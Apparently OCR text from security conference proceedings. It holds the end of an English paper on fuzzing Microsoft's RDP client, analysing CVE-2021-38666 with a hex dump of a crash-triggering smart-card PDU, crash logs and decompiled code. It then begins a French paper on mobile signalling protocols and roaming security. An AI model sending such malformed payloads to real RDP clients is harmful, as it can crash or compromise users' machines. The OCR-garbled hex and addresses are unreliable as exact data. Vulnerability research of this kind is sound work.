Microsoft::Windows: :RDS: :Graphics

Client

6. The client sends the leaks through 5. The client reinitializes the RDPDR
DR_CORE_DEVICELIST_ANNOUNCE_REQ channel

Server

Y

7. Optionally send DR_PRN_DELETE_CACHEDATA
to clean up the client's registry

Y

Fig. 10. Attack scheme for the Remote Heap Leak vulnerability in RDPDR.

Deserialization Bug / Heap Overflow in RDPDR. This vulnerability
resides in RDPDR’s printer sub-protocol. It was reported to Microsoft,
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which assigned it CVE-2021-38666 [21,28], and assessed it as Remote Code
Ezecution of Critical severity.

The bug was found by analyzing crashes (which is not necessarily
obvious by now). Figure 11 is a screenshot from the crash log file. Many
different types of crashes occurred, across distinct modules, and even some
in “unknown modules” with perplexing instruction pointer values.

One crash seemed to occur more frequently inside RPCRT4.DLL,
thus it was the starting point for analysis. The crash arose inside the
NdrSimpleTypeConvert function (listing 7), in the middle of what seems
to be a DWORD byteswap in the heap.

mov eax, [rdx] ; crash
bswap eax
mov [rdx], eax

Listing 7. Out-of-bounds access in RPCRT4.DLL.

72 44 52 49 01 00 00 00 £f8 01 02 00 08 00 00 0O Oe 00 00 00 00 00 00
00 DeviceIoRequest

00 40 00 00 OutputBufferLength

00 80 2d 00 InputBufferLength

e8 00 09 00 IoControlCode

00 00 00 00 00 00 00O 0O 0O OO OO 0O 02 00 00 00 02 00 08 00 Padding

InputBuffer

01 00 00 00 00 00 00O 0O 0O 0O 00O 00O 00 00 00 00

00 00 00 00 00O 00O 00 00O 0O 0O 00O 00O 00 00 01 00

00 00 00 00 00 00 00 0O 0O 03 00 08 00 01 40 00

00 16 00 00 00 01 00 00 0O

Listing 8. One of the guilty payloads.

The guilty payload (listing 8) was isolated: a Device I/O Request PDU,
more specifically of sub-type Device Control Request. The ToControlCode
field is specific to the redirected device, and the Smart Card sub-protocol
specification [18] contains a table that maps these values to associated
structure types for the input and output packets.

In parallel, the crash was successfully reproduced and analyzing
the call stack leads to the function W32SCard: :LocateCardsByATRA in
mstscax.dll. But in fact, analyzing other payloads that trigger the same
crash points out other functions (for instance, W32SCard: :WriteCache or
W32SCard: :DecodeContextAndStringCallW). These functions all have a
certain portion of code in common, shown in listing 9. Only the offset
parameter (OxE) varies across the functions. The IOCTL table in the
specification suggests there are around 60 functions of this kind.
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Crash at time 1621526983
Exception Address: @8007ff81640d626 / 900EE0O00RA5d626 (RPCRT4.d11)
Exception Information: 0080000002000000 008002513a542008

Crash at time 1621527242
Exception Address: 8@@@7ff80a777bl8 / 00OO00EEOERO7b18 (WINSPOOL.DRV)
Exception Information: 0008000000000000 000002541565df98

Crash at time 1621527485
Exception Address: B0087ff8166043d2 / 0OAOOEOOEEO743d2 (msvcrt.dll)
Exception Information: 0008000008000000 0800023744cedBon

Crash at time 1621527745
Exception Address: B8@07ff88a774340 / 000OEEE0E0084348 (WINSPOOL.DRV)
Exception Information: 6808080008000600 080801835bcc5eed

Crash at time 1621527779
Exception Address: 80087ff8le481bff / 000O0EEOEEEd1bTf (RPCRT4.d11)
Exception Information: 0080000E0E000000 GOEEO2d25e2f2000

Crash at time 1621527853
Exception Address: B0@07fffe9a898dc / ©@AABRER1cdfIBdc (unknown module)
Exception Information: 0208000008000000 0B0O7fffe9a@98dc

Fig. 11. Crashes while fuzzing RDPDR.

v6 = MesDecodeBufferHandleCreate (
&PDU->InputBuffer,
PDU->InputBufferLength,
&pHandle
)
/Y oo
// Crash here:
NdrMesTypeDecode3 (
pHandle,
&pPicklingInfo,
&pProxyInfo,
(const unsigned int *x)&ArrTypeOffset,
O0xEu,
&pObject
)

Listing 9. Similar code pattern in several functions of the Smart Card extension.

The MesDecodeBufferHandleCreate function creates a decoding han-
dle for RPC serialization. Indeed, RPC has its own serialization engine,
called the NDR marshaling engine (Network Data Representation) [19],
which the RDP client uses to decode structures from the PDUs.

Once the decoding handle is initialized with the input buffer, the
data is effectively deserialized through NdrMesTypeDecode3. This function
is nowhere to be documented, because developers are not supposed to
use this function directly: instead, they should describe structures using
Microsoft’s IDL (Interface Description Language), and use the MIDL
compiler to generate stubs that can encode and decode data.
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The pProxyInfo is a MIDL_STUBLESS_PROXY_INFO structure that con-
tains various informations, including the RPC interface UUID and a Type
Format String, which is a compiled description of all the types and struc-
tures that are used within the Smart Card extension. The varying offset
(0xE) then allows to select a specific structure for deserialization inside
this description. Listing 10 is the structure definition for the example of
the W32SCard: :LocateCardsByATRA function.

typedef struct _LocateCardsByATRA_Call {
REDIR_SCARDCONTEXT Context;
[range (0,1000)] unsigned long cAtrs;
[size_is (cAtrs)] LocateCards_ATRMask* rgAtrMasks;
[range (0,10)] unsigned long cReaders;
[size_is (cReaders)] ReaderStateA* rgReaderStates;
} LocateCardsByATRA_Call;

Listing 10. LocateCardsByATRA_Call structure in the NDR format string for the
Smart Card extension.

To summarize the information gathered up to this point:

— The attacker can send an IoControlCode, an InputBuffer and

an InputBufferLength.

— The input buffer is deserialized through the RPC NDR marshaling

engine according to a structure that depends on IoControlCode.

— There are around 60 possible IOCTL calls, and thus decoding

structures.

— There is an out-of-bounds read during the deserialization process,

in the NdrSimpleTypeConvert function.

There are two key elements to the sought vulnerability. The first one
is quite evident: the value of InputBufferLength is not properly checked,
so there is a first potential overrun as the NdrMesTypeDecode3 function
may think the buffer is longer than it really is.

To understand the second one, we can take a look at the
NdrSimpleTypeConvert function, more specifically at the moment of
the crash (listing 11). The byte swap takes place when the endianness of
the serialized data does not match the local endianness. Before actually
decoding data, a pass on the input buffer is performed to switch the
endianness of several types, in particular the FC_ULONG fields (which are
unsigned long in the structure).

Therefore, in the LocateCardsByATRA_Call structure (listing 10), the
fields cAtrs and cReaders are byte-swapped. But also and more impor-
tantly, any unsigned long that lies inside the nested rgAtrMasks or
rgReaderStates fields will be byte-swapped. Since these fields are arrays
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of structs which size is encoded inside the serialized buffer and thus con-
trolled by the attacker, there exists a second kind of overrun. Out of all
the IOCTL structures, only 3 were found to be arranged as to allow such
an overrun.

void NdrSimpleTypeConvert (PMIDL_STUB_MESSAGE StubMsg, uchar Format)
{
switch (Format) {
7Y oo
case FC_ULONG:
if ((StubMsg->RpcMsg->DataRepresentation & NDR_INT_REP_MASK)
!= NDR_LOCAL_ENDIAN) {
// Crash
*((ulong *)StubMsg->Buffer) = RtlUlongByteSwap (*x(ulong *)
StubMsg->Buffer) ;
}
StubMsg->Buffer += 4;
V/AETE
¥
}

Listing 11. NdrSimpleTypeConvert function.

By combining these two overruns, the attacker can trigger out-
of-bounds operations in the heap. How does that explain the other
crashes that were logged in different modules? Listing 12 shows the
LocateCards_ATRMask structure nested inside LocateCardsByATRA_Call.
There is an unsigned long field (cbAtr) at the beginning of this 76-bytes
structure, thus an attacker may be able to byte-swap DWORDs in the
heap every 76 bytes. This allows to corrupt many objects in the heap. If
the input buffer length is large enough to allow out-of-bounds operations,
but small enough not to exceed the heap segment, the deserialization
process returns with a damaged heap.

typedef struct _LocateCards_ATRMask {
[range (0, 36)] unsigned long cbAtr;
byte rgbAtr [36];
byte rgbMask[36];

} LocateCards_ATRMask;

Listing 12. LocateCards_ATRMask structure in the NDR format string for the
Smart Card extension.

From there, it is suspected such behavior could be exploited to reach
remote code execution, for instance by corrupting heap objects or modify-
ing vtable pointers. However, we were not able to exploit this vulnerability
and provide a proof of concept.
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6 Conclusion

A fuzzer based on WinAFL [6] was architectured to attack Microsoft’s
RDP client in Windows. The Virtual Channels layer was targeted via
the WTS API [20], opening up a large surface that was only briefly
tackled through a handful of static channels. After weighing different
potential strategies, some channels were effectively fuzzed and led to
several bugs including CVE-2021-38665 in the Printer extension [22]
(Important Information Disclosure) and CVE-2021-38666 in the Smart
Card extension [21] (Critical Remote Code Execution).

Potential future work may include fuzzing other channels, fuzzing the
server, or developing new fuzzing techniques, especially ones that are more
adapted to channel state machines. For instance, the newer snapshot-based
fuzzer what the fuzz [3] added support for multi-packet delivery.

Although not mentioned in this article, the fuzzer was successfully
reused for fuzzing alternate client implementations of RDP, such as
FreeRDP [1], which led to other CVEs (remote heap leak and arbitrary
file read [8,9]).
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Résumé. Dans cet article, nous présentons l'infrastructure réseau d’un
opérateur mobile, les différents protocoles de signalisation utilisés, ainsi
que les mécanismes de routage entre opérateurs, afin de permettre l'iti-
nérance des abonnés. De nombreux problémes de sécurité existent du
fait de ’exposition des infrastructures entre opérateurs du monde en-
tier, gouvernés par des régulations parfois tres différentes. Ces problemes
exposent malheureusement les abonnés (leurs métadonnées : statut, lo-
calisation, ainsi que leurs communications) a des tentatives de fraude
et d’espionnage, contre lesquelles seuls les opérateurs et les régulateurs
peuvent tenter de s’opposer. De plus en plus d’opérateurs installent des
équipements de protection, souvent poussés par leur régulateur. Mais le
chemin est encore long, et les nouvelles technologies continuent d’arriver
en supplément des systémes existants.

1 Introduction

Chez les opérateurs mobiles, le terme « signalisation » est systémati-
quement utilisé pour indiquer les messages protocolaires échangés entre
terminaux et équipements télécoms, qui permettent le fonctionnement
des services d’appels et cellulaires. Il s’agit de protocoles spécifiques au
monde télécom, qui restent peu connus des utilisateurs de ces réseaux. Et
pour cause : il faut soit rooter son smartphone et y installer un outil de
diagnostic spécifique au modem (ou baseband), soit travailler chez un
opérateur, pour avoir la visibilité sur de tels protocoles.

Mais pourquoi ’acces a ces protocoles est-il si difficile 7 Dans le do-
maine cellulaire, chaque abonné est identifié par un IMSI (International
Mobile Subscriber Identity), qui 'identifie de maniére univoque au niveau
mondial. Cet IMSI est inscrit dans la carte SIM de tout abonné cellulaire.
Et la plupart des messages de signalisation échangés entre équipements
télécoms se rapportent a un abonné spécifique (désigné par son IMSI,
ou un identifiant temporaire 1ié a cet IMSI). Ceci fait de ces messages
des données a caractere personnel! Ce concept est tres différent de celui
des réseaux fixes, dans lesquels la signalisation s’appuie principalement
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sur les adresses IP (DHCP, DNS, BGP...), qui ne sont généralement pas
nominatives.

Si on croise cela avec les services rendus par un réseau mobile : locali-
sation, appels et mise en relation d’abonnés, échange de messages courts,
connexion a des services de données, nous pouvons comprendre que la
signalisation chez les opérateurs télécoms : c’est sensible et c¢a pique!
Au-dela de cette situation, la régulation nationale (R.226 entre autres) et
européenne (RGPD) impose aux opérateurs de protéger correctement ces
données personnelles.

Dans la suite de ce document, les points suivants sont abordés :

— l’architecture générale des réseaux mobiles et les protocoles de

signalisation qui en sont a la base

— les protocoles de signalisation utilisés au sein de l'infrastructure

d’un opérateur

— la maniere dont ces protocoles sont utilisés et routés entre opéra-

teurs, pour les besoins de l'itinérance (ou « roaming »)

— les difficultés auxquelles fait face chaque opérateur vis-a-vis de ses

partenaires de roaming

Dans cette derniere section, différents aspects sont développés, comme
le type d’attaques rencontrées quasi-systématiquement, les moyens de
protection et de défense a disposition des opérateurs, des exemples de
campagnes d’espionnage et de compromission de données de signalisation,
et le role des régulateurs pour permettre 'amélioration de la situation.

2 Présentation des protocoles

2.1 Architecture générale d’un réseau mobile

Les protocoles de signalisation sont variés, selon le segment du réseau
dans lequel ils sont utilisés, ainsi que selon la technologie cellulaire. En
effet, un réseau mobile est constitué de deux parties distinctes : le réseau
d’acces radio (dit RAN pour Radio Access Network), et le coeur de réseau
(dit aussi Core Network). Pour une présentation assez détaillée d’un réseau
mobile, de son infrastructure, ainsi que des protocoles mis en ceuvre, le
lecteur peut se reporter a 'article du SSTIC 2014 sur I'analyse de modems
cellulaires [16], ainsi qu’a I'infographie ci-dessous.

De maniere grossiere, le réseau d’acces radio est constitué par les
stations de base, situées au pied des antennes-relais (15 000 a 20 000
pour couvrir le territoire frangais métropolitain, par exemple), ainsi que
des controleurs radio en 2G et 3G. Lorsqu’un abonné est connecté & une
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antenne-relais, cette derniére peut le localiser avec une précision assez fine,
de l'ordre de la centaine de meétres, voire mieux.
Le réseau coeur se décompose, lui, en deux parties distinctes :
— Un « front-end » prenant en charge les services et connexions des
abonnés : MSC/VLR et GMSC pour le mode circuit en 2G-3G,
SGSN et GGSN pour le mode data en 2G-3G, MME et SGW-PGW
pour la 4G ; ce front-end maintient a jour la localisation de chaque
abonné au niveau d’'une plaque géographique couverte par plusieurs
antennes-relais (de quelques km? & quelques centaines de km?).
— Un « back-end » constitué par le HLR en 2G-3G et le HSS en 4G,
contenant les profils des abonnés et identifiant le front-end par
lequel un abonné est pris en charge; il est complété par un SMS-C
(ou SMS-Center) qui stocke et fait suivre les SMS des abonnés de
I'opérateur vers leur destinataire.
Dans certains scénarios d’itinérance (dits de « home-routing ») et de
MVNO, on peut aussi considérer les GGSN et PGW comme étant dans le
back-end du cceur de réseau.



Exemple de distribution spatiale des élements d'un
réseau mobile

Echelle géographique :

Individu

Cellule radio

Ville

Partie acces
(RAN - Radio
Access Network)

Légende :

Le terminal utilisateur (mobile, tablette,
clef 3G...) est 1'extrémité du réseau
mobile. Son modem est une puce
disposant d'un environnement
d'exécution a part, le baseband.

On l'appelle MS (Mobile Station), ou ME
(Mobile Equipment) dans les normes.

L'interface radio utilise une modulation et
des bandes qui dépendent parfois du
continent/pays, et des protocoles qui
dépendent de la technologie d'acces (2G :
GSM, 3G: UMTS/HSDPA, 4G : LTE/LTE-A).

La station de base se trouve a l'extrémité
du cable coaxial relié a l'antenne mobile a
proprement parler (le feeder). Elle traite le
signal radio et peut étre distribuée en
plusieurs modules, par exemple la téte
radio (RRU/RRH) plus pres du mat et
1'unité protocolaire (BBU/RBU) plus loin
dans le cas d'un pylone.

- En 2G : BTS (Base Transceiver Station)
- En 3G : nodeB, en 4G : eNodeB, etc.

Le controleur logique peut concentrer les
flux de plusieurs BTS ou Node B, sur
lesquels il effectue un traitement logique.

11 s'appelle BSC (Base Station Controller)
en 2G, ou RNC (Radio Network Controller)
en 3G. Il n'existe plus en 4G.



Région

Partie coeur
(CN - Core
Network)

CS 2G/3G:

PS 2G/3G:

4G :

=

Apres leur passage par le réseau d'acces,
les flux de signalisation arrivent vers le

premier équipement de coeur de réseau,
généralement concentré au niveau de la
région ou du pays.

En 2G/3G, cette partie du coeur est
découpée en deux domaines différents : le
domaine CS (Circuit-Switched) qui
correspond au cceur 2G d'origine. Et le
domaine PS (Packet-Switched) qui a été
ajouté avec 'arrivée d'Internet sur mobile
(la technologie GPRS, 2.5G).

Le mobile s'attache distinctement au CS
et au PS. Les appels passent par le CS, le
trafic IP passe par le PS et les SMS
peuvent passer par 1'un des deux (plus
souvent par le CS).

Le premier équipement de coeur sur lequel
arrive notre trafic de signalisation est
donc:

> En CS, le MSC (Mobile Switching Center)
qui est 1'équivalent d'un switch pour le
réseau mobile, et fait également
l'interconnexion avec le réseau
téléphonique classique pour les appels ' .

> En PS, le SGSN (Serving GPRS Support
Node) qui est 1'équivalent paquet du MSC.
Plusieurs SGSN sont reliés a une
passerelle vers Internet, le GGSN (Global
GGSN Support Node).

En 4G, il n'y a plus de séparation CS/PS
mais il y a une séparation fonctionnelle :

> Les flux de signalisation pure arrivent
vers le MME (Mobility Management Entity)

> Tandis que les flux de données (voix ou
Internet) arrivent vers le SGW (Serving
Gateway), et sortent en extrémité par le
PGW (Packet Data Network Gateway), qui
connecte le réseau a IMS ou bien Internet

Le MSC, le SGSN et le MME connaissent la
cellule d'attachement de 1'abonné sur le
réseau, lorsque celui-ci est connecté .



Pays

Al'échelle nationale, une seule grande
base de données stocke le profil de
chaque abonné, dont son identifiant
unique (IMSI), mais aussi et surtout ses
secrets cryptographiques (dont le Ki,
clef secrete dupliquée uniquement sur la
carte SIM de 1'abonné*, la téléphonie
mobile fonctionnant globalement avec
de la cryptographie a clef partagée et
non de la cryptographie asymétrique).

Cette base de données s'appelle le HLR
(Home Location Register) en 2G/3G et le
HSS (Home Subscriber Server) en 4G.

Al'échelle nationale aussi, on trouve un
ou plusieurs SMSC (Short Message Serving
Center) qui routent les SMS entre les
réseaux.

A tous les niveaux du réseau, la
signalisation a aussi ses routeurs de
niveau 2 : le STP (Signal Transfer Point)
en SS7, et le DRA (Diameter Routing
Agent) en Diameter, qui sont susceptibles
de s'interfacer entre les équipements du
réseau, surtout en bordure
d'interconnexion de ce celui-ci.

* A noter que la carte SIM est une carte a
puce dotée d'un microcontréleur,
pouvant exécuter des applications
natives et JavaCard

 La fonctionnalité de suivi de la cellule
des abonnés sur le MSC est appelée VLR
(Visitor Location Register). Le HLR sait
aussi localiser 1'abonné, le VLR et le HLR
sont des entités séparées afin de
permettre le roaming (ils seront sur des
réseaux séparés).

T* Un MSC qui s'interconnecte avec le
réseau téléphonique commuté (RTC) est
appelé GMSC (Gateway Mobile Switching
Center).
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2.2 Réseau d’acces radio

Il y a d’un c6té les protocoles radio et d’acces :

— entre terminaux et antennes-relais (principalement MAC pour
Media Access Control, et RRC pour Radio Resource Configuration) ;

— entre terminaux et coeur de réseau (dit NAS pour Non-Access
Stratum, que 1’on va considérer ici malgré tout comme un protocole
d’acces) ;

— entre antennes-relais voisines ;

— et entre antennes-relais et coeur de réseau.

Dans I’ensemble de ces protocoles, un abonné est identifié soit direc-
tement par son IMSI, soit par un identifiant temporaire associé (TMSI
pour Temporary Mobile Subscriber Identity, RNTI pour Radio Network
Temporary Identifier). L’opérateur et 'abonné en question ont bien sir les
moyens de faire correspondre ces identités temporaires a 'IMSI. Mais il
existe aussi différents moyens pour un attaquant indépendant du réseau de
I'opérateur de retrouver la correspondance entre ces identités temporaires
et I'IMSI concerné, certains sont décrits dans cette étude [10] de 2017.

Tous ces protocoles sont différents, selon que le terminal et le réseau
effectue une connexion 2G, 3G, 4G ou 5G, méme s’il existe des similitudes
importantes entre certains d’entre eux. La plupart de ces protocoles sont
par ailleurs spécifiés avec ASN.1 et utilisent un encodage PER (Packed
Encoding Rules).

2.3 Coceur de réseau

Il y a de l'autre c6té les protocoles de coeur de réseau, utilisés entre
équipements télécoms, ainsi qu’entre opérateurs :

— SS7 : famille de protocoles de signalisation utilisés dans les coeurs

de réseaux 2G-3G;

— Diameter : protocole utilisé dans les coeurs de réseaux 4G et IMS;

— GTP : protocole utilisé dans les coeurs de réseaux 2G-3G et 4G pour

le controéle et le transport des sessions de données des abonnés ;

— SBA (en fait HT'TP/2) : utilisé dans les cceurs de réseaux 5G, pas

encore déployé en cette année 2022.

Avec SS7 comme Diameter, un abonné est identifié par son TMSI
(lorsqu’il est pris en charge par le réseau) ou son MSISDN, c’est-a-dire son
numéro de téléphone (par exemple lorsqu’il s’agit du destinataire d’une
communication). Avec GTP, des identifiants temporaires appelés TEID
(pour Tunnel Endpoint IDentifier) sont associés a 'IMSI d’un abonné
donné puis utilisés. En 5G avec SBA, la notion d’identité d’'un abonné est
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étendue au-dela du format courant de I'IMSI, nous n’entrerons pas dans
ces subtilités cependant.

Enfin, on peut également indiquer 'utilisation des suites de protocoles
SIP, SDP et RTP, utilisés par le coeur de réseau IMS (IP Multimedia
Subsystem). Ce dernier permet d’assurer les services de communications
voix (au sens large). L'IMS a été introduit afin de remplacer les services
voix nativement supportés par les réseaux 2G-3G en mode circuit (cf
section 3.2); c’est cette technologie qui est derriere le service VoLTE
(Voice over LTE). L’IMS est un systéme autonome et interconnecté au
coeur de réseau 4G.

3 Usage en interne d’un opérateur

3.1 Des acronymes comme s’il en pleuvait

Attention, cette section tente de présenter en détails les protocoles de
signalisation les plus utilisés dans les coeurs de réseaux. De trés nombreux
acronymes sont utilisés, nous ne pouvons malheureusement trop élaborer
a propos de chacun d’eux, au risque d’écrire un livre sur le sujet. La
compréhension détaillée de ces protocoles n’est pas forcément nécessaire a
la compréhension du reste de l'article, et le lecteur ne doit pas s’inquiéter
de se sentir un peu perdu a la lecture de cette section.

3.2 Signalisation en mode circuit CS en 2G-3G

A Torigine, les réseaux mobiles se sont appuyés sur I'infrastructure
des réseaux téléphoniques fixes pour 1’établissement des appels en mode
circuit, afin de s’intégrer facilement dans l'infrastructure télécom existante
des années 80. Le protocole ISUP est ainsi réutilisé entre commutateurs
mobiles (MSC/VLR et GMSC) et fixes, afin d’établir et controler les appels.
De nouveaux protocoles ont été développés pour prendre en charge, entre
autres, la localisation des abonnés mobiles et leur authentification : SCCP
et TCAP-MAP (IS-41 est une variante de MAP pour les réseaux mobiles
nord américains). TCAP-CAP (ou CAMEL) a également été introduit
pour gérer la messagerie, le transfert ou renvoi d’appel et d’autres services
définis dans le cadre des réseaux dits intelligents (rien a voir avec I'TA
cependant, 'IN — pour Intelligent Network — date des années 90). On
retrouve aussi 1’échange des SMS et ’'USSD qui sont transportés dans
TCAP-MAP. La figure 1 représente permet de visualiser 'organisation de
ces protocoles SS7. TCAP, MAP et CAMEL sont définis avec ASN.1 et
utilisent I’encodage BER.
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7

Common
SS7 & SIGTRAN Protocol Stacks Addressing
Identifiers
SMS / USSD MSISDN
MAP CAMEL
IMSI / MSISDN
TCAP
ISUP SCCP Global Title
MTP-3 M3UA Point Code
MTP-2 M2PA
SCTP SCTP port
MTP-1 1P IP address

Fig. 1. Pile protocolaire SS7

Ces protocoles sont tous transportés a l'origine sur MTP-3 (en mode
synchrone), puis sur M3UA (sa variante SIGTRAN pour IP) suite a la
migration des réseaux de signalisation du mode circuit vers IP, a partir du
début des années 2000. L’ensemble de ces protocoles constitue ce qu’on
appelle généralement la famille SS7. Les protocoles MTP, ISUP, SCCP et
TCAP sont normalisés par 'I'TU-T, alors que MAP, CAP, SMS, USSD
sont normalisés a l'origine par 'ETSI, et a présent maintenus par le 3GPP.

Le tableau 1 qui suit illustre une correspondance informelle entre les
différentes couches OSI et les principaux protocoles composant SS7, et en

décrit les fonctionnalités.
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Tableau 1. Les différents protocoles de la stack SS7 sont utilisés & de multiples
niveaux du réseau 2G-3G, du réseau d’acces radio jusqu’au HLR, et aux inter-
connexions SMS et voix internationales. A Porigine développée par les opérateurs
ameéricains dans les années 1970 et standardisée par le CCITT (ancétre de I'ITU)
dans les années 1980, SS7 couvre tous les aspects du transport de la signalisation
jusqu’au niveau 1, avant que le groupe de travail Signaling Transport de 'IETF ne
définisse une adaptation de SS7 a IP appelée SIGTRAN dans les années 2000.

MTP1

Il s’agit de la spécification de la couche de niveau 1 (physique)
utilisée pour les liaisons de type SS7 classique. Définie dans la norme
ITU-T Q.702, il s’agit a l'origine d’adaptations des normes nord-
américaines utilisées pour la transmission longue distance sur liaison
cuivre (généralement coaxiale), notamment E1, E2, E3...

Avec SIGTRAN, elle n’existe plus car le lien physique est remplacé
par un transport IP/SCTP, et un ou plusieurs protocoles de la couche
SS7 (MTP2, MTP3 et/ou SCCP) sont encapsulés ou réencodés dans
un nouveau format TLV plus standard et homogéne.

MTP2

Couche de niveau 2 (liaison) définie par les normes ITU-T Q.703 et
Q.704, comprenant de base des numéros de séquence et une taille.

MTP3

Premiére couche de niveau 3 (réseau) définie par les normes ITU-T
Q.703 et Q.704, définissant le principe du Point code, 'identifiant
réseau de base sur le réseau SS7 (il s’agit en pratique d’une séquence
de bits dont la taille et la représentation varient d’un continent & un
autre). Tous les équipements SS7 ont un Point Code, mais on y a
plus tard superposé SCCP (voir ci-dessous) qui est devenu le principal
mécanisme de routage de niveau 3 pour les réseaux mobiles.

SCCP

Seconde couche de niveau 3 (réseau), définie par les normes ITU-
T Q.711 a Q.716. Elle permet notamment le routage par Global
title (GT), le principal mécanisme de routage utilisé aujourd’hui
sur les réseaux SS7 internationaux. Le GT reprend dans la plupart
des cas la syntaxe d’un numéro de téléphone classique. Pour router
internationalement un message de signalisation qui concerne un abonné
en particulier, on peut aussi mettre un IMSI dans le champ GT
(uniquement surles réseaux nord-ameéricains) ou bien un MGT (sorte
de mélange entre le préfixe d’'un numéro de téléphone classique et le
suffixe d’un IMSTI).

TCAP

Couche de niveau 5 (session) utilisée pour gérer des transactions, une
transaction étant une séquence normée de messages applicatifs (MAP,
etc.). La transaction TCAP est forcément courte, et est constituée
d’une suite elle aussi normée d’états qui dépendent des opérations
transportées (requéte, réponse, invocation, suite, fin, abandon. . .).

MAP

Couche de niveau 7 (applicatif) utilisée pour toutes les opérations de
signalisation liées au coeur de réseau mobile (localisation et profils des
abonnés, échange de SMS, etc.).

Il n’y a pas de couche de niveau 4 (transport) sur le réseau SS7
classique, la regle générale étant qu'un équipement est un endpoint
protocolaire, et la couche TCAP permettant d’assembler les séquences
de messages pour les opérations comprenant plusieurs messages. Sur
SIGTRAN, la couche SCTP (niveau 4) transporte 'ensemble de la
pile SS7 sur IP.
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3.3 Protocoles en mode paquet PS en 2G-3G

Avec l'introduction du GPRS / EDGE et des connexions de données
pour les abonnés mobile a la fin des années 90, une nouvelle infrastructure
de ceeur de réseau est introduite, afin de router les données IP des abonnés.
Elle réutilise les protocoles SCCP et TCAP-MAP pour gérer mobilité et
authentification, et introduit GTP-U (pour GPRS Tunneling Protocol -
User-Plane) pour transporter ces paquets IP jusqu’au point de « sortie »
du réseau mobile, correspondant a I’APN de connexion de I’abonné. Le
protocole GTP-C (pour GTP - Control-Plane) est introduit en parallele
afin de gérer I'établissement, la modification et la suppression de ces
tunnels GTP-U, au sein de l'infrastructure cellulaire.

Ces protocoles sont normalisés a l'origine par 'ETSI et a présent par le
3GPP. Ils continuent d’évoluer car GTP-C reste utilisé en 4G, et GTP-U
en 4G et 5G.

3.4 Petit focus sur MAP et les services associés

L’outil « pycrate_map_op_ info.py [17] » présent dans la bibliotheque
pycrate permet de lister toutes les opérations MAP ou CAMEL, ainsi que
leurs arguments détaillés et les équipements impliqués dans une opération
TCAP-MAP. En exemple, le listing 1 présente 1'opération de relocalisation
d’un abonné dans le domaine CS : lorsqu’un abonné se connecte sur un
nouveau MSC-VLR, ce dernier contacte le HLR de 'abonné ; le HLR met
a jour le contexte de 'abonné avec ’adresse de I’équipement qui le prend
en charge, ceci permet a ’abonné de rester joignable.

$ pycrate_map_op_info.py -o 2

------ MAP operationCode: (local, 02) ------

MAP version 3 and over
OPERATION content: ArgumentType - Errors - ResultType -
operationCode

ArgumentType: UpdateLocationArg (SEQUENCE)
- imsi (OCTET STRING)
- msc-Number (OCTET STRING)
- vlr-Number (OCTET STRING)
- 1lmsi (OCTET STRING)
- extensionContainer (SEQUENCE)
- vlr-Capability (SEQUENCE)
- informPreviousNetworkEntity (NULL)
- cs-LCS-NotSupportedByUE (NULL)
- v-gmlc-Address (OCTET STRING)
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- add-info (SEQUENCE)

- pagingArea (SEQUENCE OF)

- skipSubscriberDataUpdate (NULL)

- restorationIndicator (NULL)

- eplmn-List (SEQUENCE OF)

- mme-DiameterAddress (SEQUENCE)
mandatory : imsi, msc-Number, vlr-Number

ResultType: UpdateLocationRes (SEQUENCE)
- hlr-Number (OCTET STRING)
- extensionContainer (SEQUENCE)
- add-Capability (NULL)
- pagingArea-Capability (NULL)
mandatory : hlr-Number

MAP version 1 and 2
OPERATION content: ArgumentType - Errors - ResultType -
operationCode

ArgumentType: UpdateLocationArg (SEQUENCE)
- imsi (OCTET STRING)
- locationInfo (CHOICE)
- vlr-Number (OCTET STRING)
- 1msi (OCTET STRING)
mandatory : imsi, locationInfo, vlr-Number

ResultType: UpdateLocationRes (CHOICE)

- hlr-Number (OCTET STRING)
- extensibleUpdateLocationRes (SEQUENCE)

Initiator in MAP application context:

- networkLocUpContext -v3 (0400101 3)
{vlr} -> {hlr}

- networkLocUpContext -v2 (0400101 2)
{vlir} -> {hlr}

- networkLocUpContext-vi (0400101 1)

{vlir} -> {hlr}

Listing 1. parametres de 'opération de relocalisation en CS

3.5 Signalisation Diameter

Le développement de la 4G a la fin des années 2000 a entrainé un
renouvellement d’une partie des protocoles de signalisation par Diameter,
protocole normalisé a lorigine par 'IETF pour succéder a RADIUS. 1 est
introduit dans les réseaux mobiles, et grandement étendu afin de prendre
en charge les mécanismes de localisation et d’authentification au sein des
ceeurs de réseaux 4G, ainsi que bien d’autres fonctionnalités annexes.

De fait, Diameter remplace MTP-3/SCCP/TCAP-MAP et CAMEL,
en fournissant des services a peu pres équivalents. Cela aurait pu donner
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lieu & une grande simplification, cependant la structure des messages
Diameter utilisés dans les réseaux mobiles a malheureusement conservé une
complexité importante, doublée d’un léger laxisme inhérent aux protocoles
IETF.

3.6 Usage intra-opérateur

L’ensemble de ces protocoles permettent de réaliser un tres grand
nombre d’opérations distinctes entre les différents équipements d’un cceur
de réseau mobile, et systématiquement vis-a-vis d’'un abonné spécifique.
Chaque opérateur opeére ses réseaux de maniere cohérente (tout du moins
est-on en droit de l’espérer). Ainsi le fait d’exposer des interfaces per-
mettant de connaitre ou contrdler des informations précises, en termes
de localisation ou de services en cours d’utilisation, pour chaque abonné
ne pose pas de gros problemes de sécurité, tant que ces interfaces sont
cloisonnées a l'intérieur d’un domaine de sécurité bien identifié chez chaque
opérateur.

Ce probleme de cloisonnement des interfaces se pose malheureuse-
ment depuis de nombreuses années, avec 'avenement de 'itinérance et
I'installation de passerelles et de routeurs entre les opérateurs du monde
entier.

4 Utilisation de la signalisation entre opérateurs

4.1 Principes de l’itinérance

Le principe de 'itinérance consiste a permettre a tout abonné mobile
ayant souscrit un forfait aupreés d’un opérateur national, une prise en
charge par un opérateur dans un autre pays. Pour ce faire, les deux
opérateurs impliqués doivent permettre la connexion entre le « front-end »
du coeur de réseau du VPLMN ( Visited Public Land Mobile Network, le
réseau qui prend en charge la connexion de ’'abonné) et le « back-end »
du coeur de réseau du HPLMN (Home PLMN, le réseau d’origine de
I'opérateur de 'abonné, qui dispose entre autre de son profil et génere ses
données d’authentification).

Ceci implique, pour un opérateur donné :

— que son « front-end » (ses MSC/VLR et SGSN en 2G-3G, MME
et SGW en 4G, tout au moins) soit accessible au « back-end » de
tous ses partenaires de roaming, ceci afin de prendre en charge des
abonnés venant de I’étranger sur son réseau ;
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— et que son « back-end » (ses HLR, HSS et SMS-C tout au moins)
soit accessible au « front-end » de tous ses partenaires de roaming,
afin de permettre a ses abonnés d’étre pris en charge a ’étranger.

Ces deux principes sont tres simples, leurs implications d’un point

de vue technique sont cependant tres importantes. L’infrastructure de
